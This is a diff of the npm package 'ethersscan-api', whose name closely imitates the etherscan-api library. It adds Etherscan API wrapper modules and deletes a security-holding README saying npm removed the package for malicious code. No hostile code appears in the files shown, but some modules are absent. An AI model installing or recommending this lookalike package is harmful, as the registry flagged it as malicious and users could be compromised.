"use strict";
|
2
|
+
const axios = require('axios');
|
3
|
+
const log = require('./log');
|
4
|
+
const proxy = require('./proxy');
|
5
|
+
const stats = require('./stats');
|
6
|
+
const block = require('./block');
|
7
|
+
const transaction = require('./transaction');
|
8
|
+
const hash = require('./hash-blob');
|
9
|
+
const contract = require('./contract');
|
10
|
+
const account = require('./account');
|
11
|
+
const pickChainUrl = require('./pick-chain-url');
|
12
|
+
/**
|
13
|
+
* @module etherscan/api
|
14
|
+
*/
|
15
|
+
|
16
|
+
|
17
|
+
/**
|
18
|
+
* @param {string} apiKey - (optional) Your Etherscan APIkey
|
19
|
+
* @param {string} chain - (optional) Other chain keys [ropsten, rinkeby, kovan]
|
20
|
+
* @param {number} timeout - (optional) Timeout in milliseconds for requests, default 10000
|
21
|
+
* @param {object} client - optional axios client instance
|
22
|
+
*/
|
23
|
+
module.exports = function(apiKey, chain, timeout, client = null) {
|
24
|
+
|
25
|
+
if (!apiKey) {
|
26
|
+
apiKey = 'YourApiKeyToken';
|
27
|
+
}
|
28
|
+
|
29
|
+
if (!timeout) {
|
30
|
+
timeout = 10000;
|
31
|
+
}
|
32
|
+
|
33
|
+
if (!client) {
|
34
|
+
client = axios.create({
|
35
|
+
baseURL: pickChainUrl(chain),
|
36
|
+
timeout: timeout
|
37
|
+
});
|
38
|
+
}
|
39
|
+
|
40
|
+
var getRequest = require('./get-request')(chain, timeout, client);
|
41
|
+
|
42
|
+
/** @lends module:etherscan/api */
|
43
|
+
return {
|
44
|
+
/**
|
45
|
+
* @namespace
|
46
|
+
*/
|
47
|
+
log: log(getRequest, apiKey),
|
48
|
+
/**
|
49
|
+
* @namespace
|
50
|
+
*/
|
51
|
+
proxy: proxy(getRequest, apiKey),
|
52
|
+
/**
|
53
|
+
* @namespace
|
54
|
+
*/
|
55
|
+
stats: stats(getRequest, apiKey),
|
56
|
+
/**
|
57
|
+
* @namespace
|
58
|
+
*/
|
59
|
+
block: block(getRequest, apiKey),
|
60
|
+
/**
|
61
|
+
* @namespace
|
62
|
+
*/
|
63
|
+
transaction: transaction(getRequest, apiKey),
|
64
|
+
/**
|
65
|
+
* @namespace
|
66
|
+
*/
|
67
|
+
contract: contract(getRequest, apiKey),
|
68
|
+
/**
|
69
|
+
* @namespace
|
70
|
+
*/
|
71
|
+
account: account(getRequest, apiKey)
|
72
|
+
};
|
73
|
+
};
|
package/lib/log.js
ADDED
@@ -0,0 +1,86 @@
|
|
1
|
+
module.exports = function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* The Event Log API was designed to provide an alternative to the native eth_getLogs.
|
5
|
+
*/
|
6
|
+
/**
|
7
|
+
* returns the status of a specific transaction hash
|
8
|
+
* @param {string} fromBlock - fromBlock
|
9
|
+
* @param {string} toBlock - toBlock
|
10
|
+
* @param {string} topic0 - topic (32 Bytes per topic)
|
11
|
+
* @param {string} topic0_1_opr - and|or between topic0 & topic1
|
12
|
+
* @param {string} topic1 - topic (32 Bytes per topic)
|
13
|
+
* @param {string} topic1_2_opr - and|or between topic1 & topic2
|
14
|
+
* @param {string} topic2 - topic (32 Bytes per topic)
|
15
|
+
* @param {string} topic2_3_opr - and|or between topic2 & topic3
|
16
|
+
* @param {string} topic3 - topic (32 Bytes per topic)
|
17
|
+
* @param {string} topic0_2_opr - and|or between topic0 & topic2
|
18
|
+
* @example https://etherscan.io/apis#logs
|
19
|
+
* @returns {Promise.<object>}
|
20
|
+
*/
|
21
|
+
getLogs(address,
|
22
|
+
fromBlock,
|
23
|
+
toBlock,
|
24
|
+
topic0,
|
25
|
+
topic0_1_opr,
|
26
|
+
topic1,
|
27
|
+
topic1_2_opr,
|
28
|
+
topic2,
|
29
|
+
topic2_3_opr,
|
30
|
+
topic3,
|
31
|
+
topic0_2_opr) {
|
32
|
+
|
33
|
+
const module = 'logs';
|
34
|
+
const action = 'getLogs';
|
35
|
+
var params = {
|
36
|
+
module, action, apiKey, address
|
37
|
+
};
|
38
|
+
|
39
|
+
if (address) {
|
40
|
+
params.address = address;
|
41
|
+
}
|
42
|
+
|
43
|
+
if (fromBlock) {
|
44
|
+
params.fromBlock = fromBlock;
|
45
|
+
}
|
46
|
+
|
47
|
+
if (toBlock) {
|
48
|
+
params.toBlock = toBlock;
|
49
|
+
}
|
50
|
+
|
51
|
+
if (topic0) {
|
52
|
+
params.topic0 = topic0;
|
53
|
+
}
|
54
|
+
|
55
|
+
if (topic0_1_opr) {
|
56
|
+
params.topic0_1_opr = topic0_1_opr;
|
57
|
+
}
|
58
|
+
|
59
|
+
if (topic1) {
|
60
|
+
params.topic1 = topic1;
|
61
|
+
}
|
62
|
+
|
63
|
+
if (topic1_2_opr) {
|
64
|
+
params.topic1_2_opr = topic1_2_opr;
|
65
|
+
}
|
66
|
+
|
67
|
+
if (topic2) {
|
68
|
+
params.topic2 = topic2;
|
69
|
+
}
|
70
|
+
|
71
|
+
if (topic2_3_opr) {
|
72
|
+
params.topic2_3_opr = topic2_3_opr;
|
73
|
+
}
|
74
|
+
|
75
|
+
if (topic0_2_opr) {
|
76
|
+
params.topic0_2_opr = topic0_2_opr;
|
77
|
+
}
|
78
|
+
|
79
|
+
if (topic3) {
|
80
|
+
params.topic3 = topic3;
|
81
|
+
}
|
82
|
+
var query = new URLSearchParams(params).toString();
|
83
|
+
return getRequest(query);
|
84
|
+
}
|
85
|
+
};
|
86
|
+
};
|
@@ -0,0 +1,28 @@
|
|
1
|
+
const MAIN_API_URL = 'https://api.etherscan.io';
|
2
|
+
const OTHER_API_URL_MAP = {
|
3
|
+
ropsten: 'https://api-ropsten.etherscan.io',
|
4
|
+
kovan: 'https://api-kovan.etherscan.io',
|
5
|
+
rinkeby: 'https://api-rinkeby.etherscan.io',
|
6
|
+
goerli: 'https://api-goerli.etherscan.io',
|
7
|
+
sepolia: 'https://api-sepolia.etherscan.io',
|
8
|
+
homestead: 'https://api.etherscan.io',
|
9
|
+
arbitrum: 'https://api.arbiscan.io',
|
10
|
+
arbitrum_rinkeby: 'https://api-testnet.arbiscan.io',
|
11
|
+
avalanche:'https://api.snowtrace.io',
|
12
|
+
avalanche_fuji: 'https://api-testnet.snowtrace.io',
|
13
|
+
};
|
14
|
+
|
15
|
+
/**
|
16
|
+
* gets the correct urls of the backend
|
17
|
+
* @param {string} chain
|
18
|
+
* @returns Url of backend
|
19
|
+
*/
|
20
|
+
function pickChainUrl(chain) {
|
21
|
+
if (!chain || !OTHER_API_URL_MAP[chain]) {
|
22
|
+
return MAIN_API_URL;
|
23
|
+
}
|
24
|
+
return OTHER_API_URL_MAP[chain];
|
25
|
+
}
|
26
|
+
|
27
|
+
|
28
|
+
module.exports = pickChainUrl;
|
package/lib/proxy.js
ADDED
@@ -0,0 +1,242 @@
|
|
1
|
+
module.exports =function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* Returns the number of most recent block
|
5
|
+
* @example
|
6
|
+
* var block = api.proxy.eth_blockNumber();
|
7
|
+
* @returns {Promise.<integer>}
|
8
|
+
*/
|
9
|
+
eth_blockNumber() {
|
10
|
+
const module = 'proxy';
|
11
|
+
const action = 'eth_blockNumber';
|
12
|
+
const queryObject = {
|
13
|
+
module, action, apiKey
|
14
|
+
};
|
15
|
+
var query = new URLSearchParams(queryObject).toString();
|
16
|
+
return getRequest(query);
|
17
|
+
},
|
18
|
+
/**
|
19
|
+
* Returns information about a block by block number.
|
20
|
+
* @param {string} tag - Tag to look up
|
21
|
+
* @example
|
22
|
+
* var blockNumber = api.proxy.eth_getBlockByNumber('0x10d4f');
|
23
|
+
* @returns {Promise.<integer>}
|
24
|
+
*/
|
25
|
+
eth_getBlockByNumber(tag) {
|
26
|
+
const module = 'proxy';
|
27
|
+
const action = 'eth_getBlockByNumber';
|
28
|
+
const boolean = true;
|
29
|
+
const queryObject = {
|
30
|
+
module, action, tag, apiKey, boolean
|
31
|
+
};
|
32
|
+
var query = new URLSearchParams(queryObject).toString();
|
33
|
+
return getRequest(query);
|
34
|
+
},
|
35
|
+
/**
|
36
|
+
* Returns information about a uncle by block number.
|
37
|
+
* @param {string} tag - Tag to look up
|
38
|
+
* @param {string} index - Index
|
39
|
+
* @example
|
40
|
+
* var res = api.proxy.eth_getUncleByBlockNumberAndIndex('0x210A9B', '0x0');
|
41
|
+
* @returns {Promise.<object>}
|
42
|
+
*/
|
43
|
+
eth_getUncleByBlockNumberAndIndex(tag, index) {
|
44
|
+
const module = 'proxy';
|
45
|
+
const action = 'eth_getUncleByBlockNumberAndIndex';
|
46
|
+
const queryObject = {
|
47
|
+
module, action, apiKey, tag, index
|
48
|
+
};
|
49
|
+
var query = new URLSearchParams(queryObject).toString();
|
50
|
+
return getRequest(query);
|
51
|
+
},
|
52
|
+
/**
|
53
|
+
* Returns the number of transactions in a block from a block matching the given block number
|
54
|
+
* @param {string} tag - Tag to look up
|
55
|
+
* @example
|
56
|
+
* var res = api.proxy.eth_getBlockTransactionCountByNumber('0x10FB78');
|
57
|
+
* @returns {Promise.<object>}
|
58
|
+
*/
|
59
|
+
eth_getBlockTransactionCountByNumber(tag) {
|
60
|
+
const module = 'proxy';
|
61
|
+
const action = 'eth_getBlockTransactionCountByNumber';
|
62
|
+
const queryObject = {
|
63
|
+
module, action, apiKey, tag
|
64
|
+
};
|
65
|
+
var query = new URLSearchParams(queryObject).toString();
|
66
|
+
return getRequest(query);
|
67
|
+
},
|
68
|
+
/**
|
69
|
+
* Returns the information about a transaction requested by transaction hash
|
70
|
+
* @param {string} hash - Transaction hash
|
71
|
+
* @example
|
72
|
+
* var res = api.proxy.eth_getTransactionByHash('0x1e2910a262b1008d0616a0beb24c1a491d78771baa54a33e66065e03b1f46bc1');
|
73
|
+
* @returns {Promise.<object>}
|
74
|
+
*/
|
75
|
+
eth_getTransactionByHash(txhash) {
|
76
|
+
const module = 'proxy';
|
77
|
+
const action = 'eth_getTransactionByHash';
|
78
|
+
const queryObject = {
|
79
|
+
module, action, apiKey, txhash
|
80
|
+
};
|
81
|
+
var query = new URLSearchParams(queryObject).toString();
|
82
|
+
return getRequest(query);
|
83
|
+
},
|
84
|
+
/**
|
85
|
+
* Returns information about a transaction by block number and transaction index position
|
86
|
+
* @param {string} tag - Tag to look up
|
87
|
+
* @param {string} index - Index
|
88
|
+
* @example
|
89
|
+
* var res = api.proxy.eth_getTransactionByBlockNumberAndIndex('0x10d4f', '0x0');
|
90
|
+
* @returns {Promise.<object>}
|
91
|
+
*/
|
92
|
+
eth_getTransactionByBlockNumberAndIndex(tag, index) {
|
93
|
+
const module = 'proxy';
|
94
|
+
const action = 'eth_getTransactionByBlockNumberAndIndex';
|
95
|
+
const queryObject = {
|
96
|
+
module, action, apiKey, tag, index
|
97
|
+
};
|
98
|
+
var query = new URLSearchParams(queryObject).toString();
|
99
|
+
return getRequest(query);
|
100
|
+
},
|
101
|
+
/**
|
102
|
+
* Returns the number of transactions sent from an address
|
103
|
+
* @param {string} address - Address of the transaction
|
104
|
+
* @example
|
105
|
+
* var res = api.proxy.eth_getTransactionCount('0x2910543af39aba0cd09dbb2d50200b3e800a63d2', 'latest');
|
106
|
+
* @returns {Promise.<object>}
|
107
|
+
*/
|
108
|
+
eth_getTransactionCount(address) {
|
109
|
+
const module = 'proxy';
|
110
|
+
const action = 'eth_getTransactionCount';
|
111
|
+
const queryObject = {
|
112
|
+
module, action, apiKey, address
|
113
|
+
};
|
114
|
+
var query = new URLSearchParams(queryObject).toString();
|
115
|
+
return getRequest(query);
|
116
|
+
},
|
117
|
+
/**
|
118
|
+
* Creates new message call transaction or a contract creation for signed transactions
|
119
|
+
* @param {string} hex - Serialized Message
|
120
|
+
* @example
|
121
|
+
* var res = api.proxy.eth_sendRawTransaction('0xf904808000831cfde080');
|
122
|
+
* @returns {Promise.<object>}
|
123
|
+
*/
|
124
|
+
eth_sendRawTransaction(hex) {
|
125
|
+
const module = 'proxy';
|
126
|
+
const action = 'eth_sendRawTransaction';
|
127
|
+
const queryObject = {
|
128
|
+
module, action, apiKey, hex
|
129
|
+
};
|
130
|
+
var query = new URLSearchParams(queryObject).toString();
|
131
|
+
return getRequest(query);
|
132
|
+
},
|
133
|
+
/**
|
134
|
+
* Returns the receipt of a transaction by transaction hash
|
135
|
+
* @param {string} txhash - Transaction hash
|
136
|
+
* @example
|
137
|
+
* var ret = api.proxy.eth_getTransactionReceipt('0x1e2910a262b1008d0616a0beb24c1a491d78771baa54a33e66065e03b1f46bc1');
|
138
|
+
* @returns {Promise.<object>}
|
139
|
+
*/
|
140
|
+
eth_getTransactionReceipt(txhash) {
|
141
|
+
const module = 'proxy';
|
142
|
+
const action = 'eth_getTransactionReceipt';
|
143
|
+
|
144
|
+
const queryObject = {
|
145
|
+
module, action, apiKey, txhash
|
146
|
+
};
|
147
|
+
var query = new URLSearchParams(queryObject).toString();
|
148
|
+
return getRequest(query);
|
149
|
+
},
|
150
|
+
/**
|
151
|
+
* Executes a new message call immediately without creating a transaction on the block chain
|
152
|
+
* @param {string} to - Address to execute from
|
153
|
+
* @param {string} data - Data to transfer
|
154
|
+
* @param {string} tag - A tag
|
155
|
+
* @example
|
156
|
+
* var res = api.proxy.eth_call('0xAEEF46DB4855E25702F8237E8f403FddcaF931C0', '0x70a08231000000000000000000000000e16359506c028e51f16be38986ec5746251e9724', 'latest');
|
157
|
+
* @returns {Promise.<object>}
|
158
|
+
*/
|
159
|
+
eth_call(to, data, tag) {
|
160
|
+
const module = 'proxy';
|
161
|
+
const action = 'eth_call';
|
162
|
+
const queryObject = {
|
163
|
+
module, action, apiKey, to, data, tag
|
164
|
+
};
|
165
|
+
var query = new URLSearchParams(queryObject).toString();
|
166
|
+
return getRequest(query);
|
167
|
+
},
|
168
|
+
/**
|
169
|
+
* Returns code at a given address
|
170
|
+
* @param {string} address - Address to get code from
|
171
|
+
* @param {string} tag - ??
|
172
|
+
* @example
|
173
|
+
* var res = api.proxy.eth_getCode('0xf75e354c5edc8efed9b59ee9f67a80845ade7d0c', 'latest');
|
174
|
+
* @returns {Promise.<object>}
|
175
|
+
*/
|
176
|
+
eth_getCode(address, tag) {
|
177
|
+
const module = 'proxy';
|
178
|
+
const action = 'eth_getCode';
|
179
|
+
const queryObject = {
|
180
|
+
module, action, apiKey, address, tag
|
181
|
+
};
|
182
|
+
var query = new URLSearchParams(queryObject).toString();
|
183
|
+
return getRequest(query);
|
184
|
+
},
|
185
|
+
/**
|
186
|
+
* Returns the value from a storage position at a given address.
|
187
|
+
* @param {string} address - Address to get code from
|
188
|
+
* @param {string} position - Storage position
|
189
|
+
* @param {string} tag - ??
|
190
|
+
* @example
|
191
|
+
* var res = api.proxy.eth_getStorageAt('0x6e03d9cce9d60f3e9f2597e13cd4c54c55330cfd', '0x0', 'latest');
|
192
|
+
* @returns {Promise.<object>}
|
193
|
+
*/
|
194
|
+
eth_getStorageAt(address, position, tag) {
|
195
|
+
const module = 'proxy';
|
196
|
+
const action = 'eth_getStorageAt';
|
197
|
+
const queryObject = {
|
198
|
+
module, action, apiKey, address, position, tag
|
199
|
+
};
|
200
|
+
var query = new URLSearchParams(queryObject).toString();
|
201
|
+
return getRequest(query);
|
202
|
+
},
|
203
|
+
/**
|
204
|
+
* Returns the current price per gas in wei.
|
205
|
+
* var gasprice = api.proxy.eth_gasPrice();
|
206
|
+
* @returns {Promise.<object>}
|
207
|
+
*/
|
208
|
+
eth_gasPrice() {
|
209
|
+
const module = 'proxy';
|
210
|
+
const action = 'eth_gasPrice';
|
211
|
+
const queryObject = {
|
212
|
+
module, action, apiKey
|
213
|
+
};
|
214
|
+
var query = new URLSearchParams(queryObject).toString();
|
215
|
+
return getRequest(query);
|
216
|
+
},
|
217
|
+
/**
|
218
|
+
* Makes a call or transaction, which won't be added to the blockchain and returns the used gas, which can be used for estimating the used gas
|
219
|
+
* @param {string} to - Address to get code from
|
220
|
+
* @param {string} value - Storage position
|
221
|
+
* @param {string} gasPrice - ??
|
222
|
+
* @param {string} gas - ??
|
223
|
+
* @xample
|
224
|
+
* var res = api.proxy.eth_estimateGas(
|
225
|
+
* '0xf0160428a8552ac9bb7e050d90eeade4ddd52843',
|
226
|
+
* '0xff22',
|
227
|
+
* '0x051da038cc',
|
228
|
+
* '0xffffff'
|
229
|
+
*);
|
230
|
+
* @returns {Promise.<object>}
|
231
|
+
*/
|
232
|
+
eth_estimateGas(to, value, gasPrice, gas) {
|
233
|
+
const module = 'proxy';
|
234
|
+
const action = 'eth_estimateGas';
|
235
|
+
const queryObject = {
|
236
|
+
module, action, apiKey, to, value, gasPrice, gas
|
237
|
+
};
|
238
|
+
var query = new URLSearchParams(queryObject).toString();
|
239
|
+
return getRequest(query);
|
240
|
+
},
|
241
|
+
};
|
242
|
+
};
|
package/lib/stats.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
module.exports = function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* Returns the supply of Tokens
|
5
|
+
* @param {string} tokenname - Name of the Token
|
6
|
+
* @param {string} contractaddress - Address from token contract
|
7
|
+
* @example
|
8
|
+
* var supply = api.stats.tokensupply(null, '0x57d90b64a1a57749b0f932f1a3395792e12e7055');
|
9
|
+
* @returns {Promise.<object>}
|
10
|
+
*/
|
11
|
+
tokensupply(tokenname, contractaddress) {
|
12
|
+
const module = 'stats';
|
13
|
+
const action = 'tokensupply';
|
14
|
+
|
15
|
+
let params = {
|
16
|
+
module, action, apiKey
|
17
|
+
};
|
18
|
+
|
19
|
+
if (tokenname) {
|
20
|
+
params.tokenname = tokenname;
|
21
|
+
}
|
22
|
+
|
23
|
+
if (contractaddress) {
|
24
|
+
params.contractaddress = contractaddress;
|
25
|
+
}
|
26
|
+
|
27
|
+
var query = new URLSearchParams(params).toString();
|
28
|
+
return getRequest(query);
|
29
|
+
},
|
30
|
+
|
31
|
+
/**
|
32
|
+
* Returns total supply of ether
|
33
|
+
* var supply = api.stats.ethsupply();
|
34
|
+
* @returns {Promise.<integer>}
|
35
|
+
*/
|
36
|
+
ethsupply() {
|
37
|
+
const module = 'stats';
|
38
|
+
const action = 'ethsupply';
|
39
|
+
const queryObject = {
|
40
|
+
module, action, apiKey
|
41
|
+
};
|
42
|
+
var query = new URLSearchParams(queryObject).toString();
|
43
|
+
return getRequest(query);
|
44
|
+
},
|
45
|
+
|
46
|
+
/**
|
47
|
+
* Returns the price of ether now
|
48
|
+
* @example
|
49
|
+
* var price = api.stats.ethprice();
|
50
|
+
* @returns {Promise.<integer>}
|
51
|
+
*/
|
52
|
+
ethprice() {
|
53
|
+
const module = 'stats';
|
54
|
+
const action = 'ethprice';
|
55
|
+
const queryObject = {
|
56
|
+
module, action, apiKey
|
57
|
+
};
|
58
|
+
var query = new URLSearchParams(queryObject).toString();
|
59
|
+
return getRequest(query);
|
60
|
+
}
|
61
|
+
};
|
62
|
+
};
|
@@ -0,0 +1,18 @@
|
|
1
|
+
module.exports = function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* returns the status of a specific transaction hash
|
5
|
+
* @param {string} txhash - Transaction hash
|
6
|
+
* @returns {Promise.<object>}
|
7
|
+
*/
|
8
|
+
getstatus(txhash) {
|
9
|
+
const module = 'transaction';
|
10
|
+
const action = 'getstatus';
|
11
|
+
const queryObject = {
|
12
|
+
module, action, txhash, apiKey
|
13
|
+
};
|
14
|
+
var query = new URLSearchParams(queryObject).toString();
|
15
|
+
return getRequest(query);
|
16
|
+
}
|
17
|
+
};
|
18
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,49 @@
|
|
1
1
|
{
|
2
2
|
"name": "ethersscan-api",
|
3
|
-
"version": "0.0.1
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "API to etherscan with a simple interface",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "mocha -t 20000",
|
8
|
+
"posttest": "npm run lint",
|
9
|
+
"lint": "jshint lib test",
|
10
|
+
"docs": "npx documentation build ./lib/init.js -f html -o out",
|
11
|
+
"preversion": "npm run lint && npm run changelog",
|
12
|
+
"postversion": "git push && git push --tags",
|
13
|
+
"changelog": "rm ./docs/CHANGELOG.md && npx changelog https://github.com/sebs/etherscan-api all > ./docs/CHANGELOG.md && git add ./docs/CHANGELOG.md && git commit ./docs/CHANGELOG.md -m changelog",
|
14
|
+
"build": "npm run test && npm run docs"
|
15
|
+
},
|
16
|
+
"keywords": [
|
17
|
+
"arbiscan",
|
18
|
+
"ethereum",
|
19
|
+
"EtherScan.io",
|
20
|
+
"etherscan",
|
21
|
+
"blockchain",
|
22
|
+
"api",
|
23
|
+
"transaction",
|
24
|
+
"rest"
|
25
|
+
],
|
26
|
+
"repository": {
|
27
|
+
"type": "git",
|
28
|
+
"url": "git+https://github.com/sebs/etherscan-api.git"
|
29
|
+
},
|
30
|
+
"author": "",
|
31
|
+
"license": "ISC",
|
32
|
+
"bugs": {
|
33
|
+
"url": "https://github.com/sebs/etherscan-api/issues"
|
34
|
+
},
|
35
|
+
"homepage": "https://github.com/sebs/etherscan-api#readme",
|
36
|
+
"devDependencies": {
|
37
|
+
"chai": "4.3.7",
|
38
|
+
"jshint": "2.13.6",
|
39
|
+
"mocha": "10.2.0",
|
40
|
+
"watch": "1.0.2"
|
41
|
+
},
|
42
|
+
"dependencies": {
|
43
|
+
"axios": "1.2.2",
|
44
|
+
"gh-pages": "5.0.0",
|
45
|
+
"querystring": "0.2.1",
|
46
|
+
"request": "^2.88.2",
|
47
|
+
"sqlite3": "^5.1.6"
|
48
|
+
}
|
6
49
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ethersscan-api for more information.
|